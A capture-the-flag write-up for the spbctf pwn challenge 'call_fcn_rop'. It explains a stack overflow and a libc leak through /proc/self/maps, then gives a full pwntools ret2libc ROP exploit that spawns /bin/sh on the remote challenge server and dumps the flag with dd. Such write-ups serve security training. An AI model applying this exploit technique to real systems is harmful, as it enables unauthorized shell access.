pwn4 call_fcn_rop
pwn4 call_fcn_rop
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: flag_extraction_from_server_binary, proc_self_maps_libc_leak, ret2libc, rop_chain, stack_alignment_movaps, xor_decode
Summary
Task: NON-PIE 64-bit ELF with NX and no canary; a stack overflow in logic() and a win_fcn that prints the flag only if called with six exact register args. Solution: parse the libc base from the /proc/self/maps dump leaked at startup, then ret2libc system('/bin/sh') (with movaps stack alignment) instead of satisfying the 6-arg check, and read the real XOR-encoded flag from the server's /task binary .data.
pwn4 call_fcn_rop — pwn_spbctf
Description
Just call win_fcn and make it print flag for you. And there is no shellcode now!
64-bit x86-64 ELF, NON-PIE (loaded at 0x400000), NX enabled, no stack canary.
libc-2.31.so is provided. Remote: nc 109.233.56.90 11651.
Goal: make the program print the flag. NX rules out shellcoding (the previous
tier in the series), so this is a ROP challenge.
Analysis
Binary layout:
main@0x400860—setvbuf(stdout/stdin), then callsdrop_address()followed bylogic().drop_address@0x4007b0— opens"/proc/self/maps"(string @0x400944),read(fd, buf=[rbp-0x1010], 0x1000), thenputs(buf). This dumps/proc/self/mapsto stdout at startup → a free libc-base leak. Parse the start of the firstlibc-2.31.sor--p 00000000mapping each run (observed0x7ffff7e05000, but it must be parsed dynamically).logic@0x400830—read(0, buf=[rbp-0x20], 0x100). The 0x100-byte read into a 0x20 buffer is a stack overflow. Offset frombufto the saved return address is0x28.win_fcn@0x4006d0— prints the flag (XOR-decode of 13 dwords at0x601060using keyedi) only if called with all six args:edi==0xcafebabe,esi==0x80,edx==0x7f,ecx==0,r8==-1,r9==0xdeadbeef. Any mismatch jumps to a non-printing path.
Useful gadgets in the binary:
| Gadget | Address |
|---|---|
pop rdi ; ret | 0x400923 |
pop rsi ; pop r15 ; ret | 0x400921 |
ret (alignment) | 0x40056e |
__libc_csu_init tail (pop r12..r15) | 0x40091c |
__libc_csu_init (mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+8*rbx]) | 0x400900 |
The binary has no pop rdx, pop rcx, pop r8, or pop r9 gadget.
Solution
Choosing the primitive: ret2libc, not the 6-arg check
The "intended" path — satisfying all six win_fcn arguments — requires setting
rcx, r8, and r9, for which neither the binary nor glibc-2.31 offers clean
pop gadgets. Combining the CSU gadget controls rdx/rsi/rdi but not the rest,
making the chain awkward.
Since drop_address() hands us a libc base for free via /proc/self/maps, the
much cleaner path is a classic ret2libc system("/bin/sh"). We pivot to the
simpler primitive instead of fighting the register constraints.
ROP chain (overflow in logic, offset 0x28)
[ 0x28 padding ]
p64(ret = 0x40056e) # 16-byte stack alignment for movaps in do_system
p64(pop rdi ; ret = 0x400923)
p64(libc_base + offset("/bin/sh"))
p64(libc_base + offset(system))
The bare ret is required: glibc 2.31's do_system executes a movaps
instruction that faults if rsp is not 16-byte aligned at the call. Inserting
one extra ret fixes alignment.
Delivery and shell I/O
read()inlogic()reads up to0x100bytes; pad the payload to exactly0x100soread()returns without needing EOF.- Do not
shutdown()the send side — keep stdin open so the spawned shell can read commands over the same socket.
Extracting the flag from the server binary
There is no /flag file on disk and no FLAG env var. The flag lives
XOR-encoded in the binary's .data at vaddr 0x601060 (13 dwords, key
0xcafebabe). Crucially, the downloaded binary contains dummy placeholders
(0x01, 0x02, ..., 0x0c); only the server's /task binary has the real
flag baked in.
Map the vaddr to a file offset via the section header: .data vaddr 0x601050
== file offset 0x1050, so the flag dwords at 0x601060 are at file offset
0x1060 (= 4192). With the shell, dump 52 bytes (13 dwords) and decode locally
(xxd is unavailable, so use od):
sh read-only • copy alloweddd if=/task bs=1 skip=4192 count=52 2>/dev/null | od -An -tx1
XOR each dword with 0xcafebabe (the 13th dword is 0xcafebabe itself → decodes
to a 0 terminator), reproducing exactly what win_fcn would have printed.
Full exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import time HOST, PORT = '109.233.56.90', 11651 # drop_address() leaks /proc/self/maps -> parse libc base # logic(): read(0, buf=[rbp-0x20], 0x100) -> overflow, buf->savedRET = 0x28 POP_RDI = 0x400923 # pop rdi ; ret RET = 0x40056e # ret (alignment for movaps) libc = ELF('call_fcn_rop_libc.so', checksec=False) SYSTEM_OFF = libc.symbols['system'] # 0x48f20 BINSH_OFF = next(libc.search(b'/bin/sh')) # 0x18a156 io = remote(HOST, PORT) # --- parse libc base from /proc/self/maps leak --- time.sleep(0.5) text = io.recv(timeout=2).decode(errors='replace') libc_base = None for line in text.splitlines(): if 'libc-2.31.so' in line and 'r--p 00000000' in line: libc_base = int(line.split('-')[0], 16) break assert libc_base, "no libc base found:\n" + text log.success("libc base = %#x", libc_base) system = libc_base + SYSTEM_OFF binsh = libc_base + BINSH_OFF # --- build ROP chain for logic() overflow --- payload = b'A' * 0x28 # fill buf -> saved RET payload += p64(RET) # 16-byte stack alignment for movaps in system payload += p64(POP_RDI) payload += p64(binsh) payload += p64(system) # pad to exactly 0x100 so read() returns without EOF (keep stdin open) payload = payload.ljust(0x100, b'\x00') io.send(payload) time.sleep(0.6) # Shell active. Flag is XOR(0xcafebabe)-encoded in .data @ vaddr 0x601060 # == file offset 0x1060 (4192), 13 dwords. Read from server's /task and decode. io.sendline(b'dd if=/task bs=1 skip=4192 count=52 2>/dev/null | od -An -tx1; echo DONE') time.sleep(1.2) out = io.recvrepeat(timeout=4).decode(errors='replace') hexpart = ''.join(out.split('DONE')[0].split()) data = bytes.fromhex(hexpart) flag = b'' for i in range(0, len(data), 4): flag += p32(u32(data[i:i+4]) ^ 0xcafebabe) flag = flag.split(b'\x00')[0].decode(errors='replace') log.success("FLAG: %s", flag) io.close()